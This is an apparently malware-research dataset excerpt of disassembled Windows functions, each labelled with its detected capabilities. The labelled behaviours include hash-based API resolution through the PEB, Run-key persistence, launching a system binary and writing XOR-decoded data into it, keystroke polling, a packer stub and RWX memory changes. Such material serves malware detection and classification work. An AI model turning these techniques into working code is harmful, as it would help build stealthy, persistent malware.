joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000100c
Capabilities:
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
test rcx, rcx
je 0x1800011f8
push rbx
sub rsp, 0x280
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x50], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1800011e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x1800010c2
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x1800010c2
mov ebx, dword [r9 + 0x20]
dec r11d
mov ecx, r11d
lea rdx, [rbx + r11*4]
mov r10d, dword [rdx + r8]
mov edx, 0x832c7e67
add r10, r8
mov cl, byte [r10]
inc r10
test cl, cl
je 0x1800010bd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
inc r10
test cl, cl
jne 0x1800010a0
cmp edx, 0x296f7081
je 0x1800010c7
test r11d, r11d
jne 0x180001080
mov rax, qword [rax]
jmp 0x18000105b
mov eax, dword [r9 + 0x24]
mov ecx, dword [r9 + 0x1c]
add rax, r8
add rcx, r8
movzx edx, word [rax + r11*2]
mov eax, dword [rcx + rdx*4]
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
add rax, r8
mov r8d, 0x104
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r10d, dword [rcx + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x18000116a
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x18000116a
mov ebx, dword [r10 + 0x20]
dec r11d
mov ecx, r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x7e1d6bfe
add r8, r9
mov cl, byte [r8]
inc r8
test cl, cl
je 0x180001165
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x180001148
cmp edx, 0xc7a48c8f
je 0x18000116f
test r11d, r11d
jne 0x180001128
mov rax, qword [rax]
jmp 0x180001103
and qword [rsp + 0x38], 0
xor edx, edx
mov ecx, dword [r10 + 0x24]
and qword [rsp + 0x30], 0
add rcx, r9
mov rbx, qword [rsp + 0x50]
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
movzx r8d, word [rcx + r11*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r9
mov eax, dword [rcx + r8*4]
lea r8, [rsp + 0x60]
add rax, r9
xor ecx, ecx
or r9d, 0xffffffff
call rax
mov edx, 0x5c
mov rcx, rbx
call fcn.18000268c
test rax, rax
je 0x1800011cc
mov byte [rax + 1], 0
lea r8, str.vlc.dat
mov edx, 0x104
mov rcx, rbx
call fcn.18000445c
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.180001710
add rsp, 0x280
pop rbx
ret
Function at 0x180001015
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
test rcx, rcx
je 0x1800011f8
push rbx
sub rsp, 0x280
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x50], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1800011e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x1800010c2
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x1800010c2
mov ebx, dword [r9 + 0x20]
dec r11d
mov ecx, r11d
lea rdx, [rbx + r11*4]
mov r10d, dword [rdx + r8]
mov edx, 0x832c7e67
add r10, r8
mov cl, byte [r10]
inc r10
test cl, cl
je 0x1800010bd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
inc r10
test cl, cl
jne 0x1800010a0
cmp edx, 0x296f7081
je 0x1800010c7
test r11d, r11d
jne 0x180001080
mov rax, qword [rax]
jmp 0x18000105b
mov eax, dword [r9 + 0x24]
mov ecx, dword [r9 + 0x1c]
add rax, r8
add rcx, r8
movzx edx, word [rax + r11*2]
mov eax, dword [rcx + rdx*4]
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
add rax, r8
mov r8d, 0x104
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r10d, dword [rcx + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x18000116a
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x18000116a
mov ebx, dword [r10 + 0x20]
dec r11d
mov ecx, r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x7e1d6bfe
add r8, r9
mov cl, byte [r8]
inc r8
test cl, cl
je 0x180001165
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x180001148
cmp edx, 0xc7a48c8f
je 0x18000116f
test r11d, r11d
jne 0x180001128
mov rax, qword [rax]
jmp 0x180001103
and qword [rsp + 0x38], 0
xor edx, edx
mov ecx, dword [r10 + 0x24]
and qword [rsp + 0x30], 0
add rcx, r9
mov rbx, qword [rsp + 0x50]
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
movzx r8d, word [rcx + r11*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r9
mov eax, dword [rcx + r8*4]
lea r8, [rsp + 0x60]
add rax, r9
xor ecx, ecx
or r9d, 0xffffffff
call rax
mov edx, 0x5c
mov rcx, rbx
call fcn.18000268c
test rax, rax
je 0x1800011cc
mov byte [rax + 1], 0
lea r8, str.vlc.dat
mov edx, 0x104
mov rcx, rbx
call fcn.18000445c
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.180001710
add rsp, 0x280
pop rbx
ret
Function at 0x180001498
Capabilities:
Create process on windows
Encode data using xor
Persist via run registry key
Query or enumerate registry value
Read file on windows
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x548]
sub rsp, 0x630
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x520], rax
lea rax, [rsp + 0x58]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, 2
test eax, eax
jne 0x1800015a9
mov ebx, 0x104
lea rdx, [rbp + 0x100]
mov r8d, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
lea rcx, [rbp + 0x310]
mov r8d, 0x208
call fcn.180002a90
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea r8, [0x180017310]
lea rax, [rbp + 0x310]
mov dword [rsp + 0x50], ebx
mov qword [rsp + 0x28], rax
mov r9d, edi
and qword [rsp + 0x20], 0
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
lea rcx, [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x58]
lea r9d, [rdi - 1]
xor r8d, r8d
lea rdx, [0x180017310]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp - 0x10]
call fcn.18000100c
and qword [rsp + 0x50], 0
lea r8, [0x1800172a0]
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x50]
call fcn.180004404
test eax, eax
jne 0x1800016f0
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1800016f0
mov r8d, edi
xor edx, edx
call fcn.18000427c
mov rcx, qword [rsp + 0x50]
call fcn.180003f40
mov rcx, qword [rsp + 0x50]
movsxd r15, eax
call fcn.180004284
mov rcx, r15
mov r14, r15
call fcn.18000482c
mov r9, qword [rsp + 0x50]
mov r8, r15
mov edx, 1
mov rcx, rax
mov rsi, rax
call fcn.180004764
mov rcx, qword [rsp + 0x50]
call fcn.180004010
mov ebx, 0x68
lea rcx, [rbp - 0x80]
mov r8d, ebx
xor edx, edx
call fcn.180002a90
xor eax, eax
mov dword [rbp - 0x80], ebx
mov qword [rsp + 0x60], rax
lea rcx, str.C:WindowsSystem32BdeUISrv.exe
mov qword [rsp + 0x68], rax
xor r9d, r9d
mov qword [rsp + 0x70], rax
xor r8d, r8d
lea rax, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
neg eax
mov ecx, 0x2eaca2b
sbb rdi, rdi
and rdi, qword [rsp + 0x60]
call fcn.180003f74
test r15d, r15d
jle 0x1800016ce
mov rbx, rsi
call fcn.180003f48
cdq
idiv r15d
mov al, byte [rbx]
inc dl
xor al, dl
xor al, 0x2b
mov byte [rbx], al
inc rbx
sub r14, 1
jne 0x1800016b2
mov r8d, r15d
mov rdx, rsi
mov rcx, rdi
call fcn.1800011fc
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call fcn.180003a40
int3
or ecx, 0xffffffff
call fcn.180003a40
int3
Function at 0x180003a40
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x180003917
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180003917
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x180003917
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x180003917
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180003917
cmp dword [rcx + 0x84], 0xe
jbe 0x180003917
cmp dword [rcx + 0xf8], 0
je 0x180003917
mov ecx, ebx
call fcn.1800039b8
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1800037a8
cmp dword [rbp + 0x20], 0
je 0x180003964
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.18000396c
int3
xor r8d, r8d
xor edx, edx
jmp 0x1800038b0
Function at 0x140011230
Capabilities:
Terminate process

Disassembly:
jmp 0x140013a30
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112b7
Capabilities:
Create thread
Terminate thread

Disassembly:
jmp 0x140011d30
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rcx, [0x1400240f2]
call fcn.1400113ed
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001114a]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400112b2]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001145b]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x48], rax
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
xor eax, eax
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x1400112c6
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014d80
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014da0
xor al, al
jmp 0x140014e21
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014db3
xor al, al
jmp 0x140014e21
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014ddd
xor al, al
jmp 0x140014e21
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014df1
xor al, al
jmp 0x140014e21
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014e03
xor al, al
jmp 0x140014e21
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014e1f
xor al, al
jmp 0x140014e21
mov al, 1
add rsp, 0x38
ret
Function at 0x464770
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x46477d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x46478d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x464775
lea eax, [rcx + 1]
jmp 0x46479b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x4647ae
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x464794
sub eax, 3
jb 0x4647ce
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x46481d
sar eax, 1
movsxd rbp, eax
jb 0x464804
jmp 0x4647dc
add ebx, ebx
jne 0x4647da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x464804
inc ecx
add ebx, ebx
jne 0x4647ea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x464804
call r11
adc ecx, ecx
add ebx, ebx
jne 0x4647fd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x4647ec
add ecx, 2
jmp 0x464809
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00464732
jmp 0x46477d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x40000
mov dl, 0xd
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x46486d
cmp rsi, rcx
jae 0x464875
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x464854
cmp al, 0x8f
ja 0x464854
cmp byte [rsi - 2], 0xf
je 0x46485a
sub al, 0xe8
cmp al, 1
ja 0x46483e
cmp rsi, rcx
jae 0x464875
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x464844
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x464875
lodsb al, byte [rsi]
jmp 0x464854
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x62000]
mov eax, dword [rdi]
or eax, eax
je 0x4648d2
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x64000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x464882
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x4648cc
mov qword [rbx], rax
add rbx, 8
jmp 0x4648a2
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.00464955], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.00464955
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x464945
sub rsp, 0xffffffffffffff80
jmp 0x401500
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140026ca0]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140026cb0]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x14002f008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140026c10]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call fcn.14000e0e0
mov rcx, qword [0x140026d40]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140026c90]
lea rcx, section..text
mov qword [rdx], rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.14000def0
mov ebx, dword [0x14002f028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r12, qword [0x14002f020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x14002f020], rbp
call fcn.14000dcf0
mov rax, qword [0x140026c20]
mov r8, qword [0x14002f018]
mov ecx, dword [0x14002f028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x14002f020]
call fcn.1400223e0
mov ecx, dword [0x14002f00c]
mov dword [0x14002f010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x14002f008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140026cb0]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call fcn.14000f880
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140026ce0]
mov rcx, qword [0x140026cd0]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x14002f010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140026d00]
mov rcx, qword [0x140026cf0]
mov dword [rsi], 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
Function at 0x140001450
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 0x28
movups xmmword [rsp], xmm6
movups xmmword [rsp + 0x10], xmm7
mov rdx, qword [0x14002fa40]
lea rax, [0x14002f080]
cmp rdx, 0x26f
ja 0x1400014b8
lea rcx, [rdx + 1]
mov edx, dword [rax + rdx*4]
mov eax, edx
movups xmm6, xmmword [rsp]
movups xmm7, xmmword [rsp + 0x10]
mov qword [0x14002fa40], rcx
shr eax, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor eax, edx
mov edx, eax
shl edx, 0xf
and edx, 0xefc60000
xor eax, edx
mov edx, eax
shr edx, 0x12
xor eax, edx
add rsp, 0x28
ret
movdqu xmm3, xmmword [0x1400240d0]
movdqu xmm4, xmmword [0x1400240e0]
lea rdx, [0x14002f400]
pxor xmm7, xmm7
movdqu xmm5, xmmword [0x1400240f0]
movdqu xmm6, xmmword [0x140024100]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 4]
add rax, 0x10
movdqu xmm2, xmmword [rax + 0x624]
pand xmm1, xmm4
pand xmm0, xmm3
por xmm0, xmm1
movdqa xmm1, xmm0
pand xmm0, xmm5
psrld xmm1, 1
pxor xmm1, xmm2
movdqa xmm2, xmm7
psubd xmm2, xmm0
pand xmm2, xmm6
movdqa xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [rax - 0x10], xmm0
cmp rdx, rax
jne 0x1400014e8
movq xmm0, qword [0x14002f400]
mov eax, dword [0x14002f408]
movq xmm1, qword [0x1400240d0]
mov edx, dword [0x14002f40c]
movq xmm2, qword [0x1400240e0]
and eax, 0x80000000
pand xmm0, xmm1
and edx, 0x7fffffff
movq xmm1, qword [0x14002f404]
or eax, edx
pand xmm1, xmm2
mov edx, eax
and eax, 1
por xmm0, xmm1
neg eax
shr edx, 1
xor edx, dword [0x14002fa3c]
movdqa xmm2, xmm0
and eax, 0x9908b0df
movq xmm1, qword [0x14002fa34]
psrld xmm2, 1
xor eax, edx
pxor xmm1, xmm2
mov dword [0x14002f408], eax
movq xmm2, qword [0x1400240f0]
lea rax, [0x14002f40c]
lea rdx, [rax + 0x630]
pand xmm0, xmm2
pxor xmm2, xmm2
psubd xmm2, xmm0
movq xmm0, qword [0x140024100]
pand xmm0, xmm2
pxor xmm2, xmm2
pxor xmm1, xmm0
movq qword [0x14002f400], xmm1
movdqu xmm0, xmmword [rax + 4]
movdqu xmm1, xmmword [rax]
add rax, 0x10
pand xmm1, xmm3
pand xmm0, xmm4
por xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm7, xmm0
psrld xmm0, 1
pxor xmm0, xmmword [rax - 0x39c]
pand xmm7, xmm5
psubd xmm1, xmm7
pand xmm1, xmm6
pxor xmm0, xmm1
movups xmmword [rax - 0x10], xmm0
cmp rax, rdx
jne 0x1400015eb
mov edx, dword [0x14002f080]
mov eax, dword [0x14002fa3c]
mov ecx, edx
and eax, 0x80000000
and ecx, 0x7fffffff
or eax, ecx
mov ecx, eax
and eax, 1
neg eax
shr ecx, 1
xor ecx, dword [0x14002f6b0]
and eax, 0x9908b0df
xor eax, ecx
mov ecx, 1
mov dword [0x14002fa3c], eax
jmp 0x14000147b
Function at 0x140001680
Capabilities:
Log keystrokes via polling

Disassembly:
push rsi
push rbx
sub rsp, 0x38
movups xmmword [rsp + 0x20], xmm6
mov byte [0x14002fb30], 0
mov rcx, qword [0x14002fb28]
lea rdx, section..rdata
mov dword [0x14002fb34], 0
call qword [sym.imp.USER32.dll_SetWindowTextA]
cmp byte [0x14002fb20], 0
je 0x140001710
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
lea rbx, [0x14002fb10]
pxor xmm6, xmm6
nop dword [rax + rax]
xor ecx, ecx
mov rdx, rbx
movups xmmword [rbx], xmm6
call sub.XINPUT1_3.dll_XInputGetState
test eax, eax
je 0x1400016f0
movups xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rsi
ret
movzx eax, word [0x14002fb14]
and eax, dword [0x140023008]
je 0x1400016e1
mov ecx, 1
call rsi
jmp 0x1400016d0
mov rbx, qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001727
mov ecx, 1
call rsi
mov ecx, dword [0x140023008]
call rbx
test ax, ax
jne 0x140001720
movups xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rsi
ret
Function at 0x14000df00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.14000f6b0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x14000df70
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14002fba4]
mov rbx, rcx
test esi, esi
jle 0x14000e0a0
mov rax, qword [0x14002fba8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000dfbb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000e045
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000dfa0
mov rcx, rbx
call fcn.14000e9e0
mov rdi, rax
test rax, rax
je 0x14000e0c2
mov rax, qword [0x14002fba8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000eb20
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14002fba8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000e0a7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000e03e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14000e050
add dword [0x14002fba4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
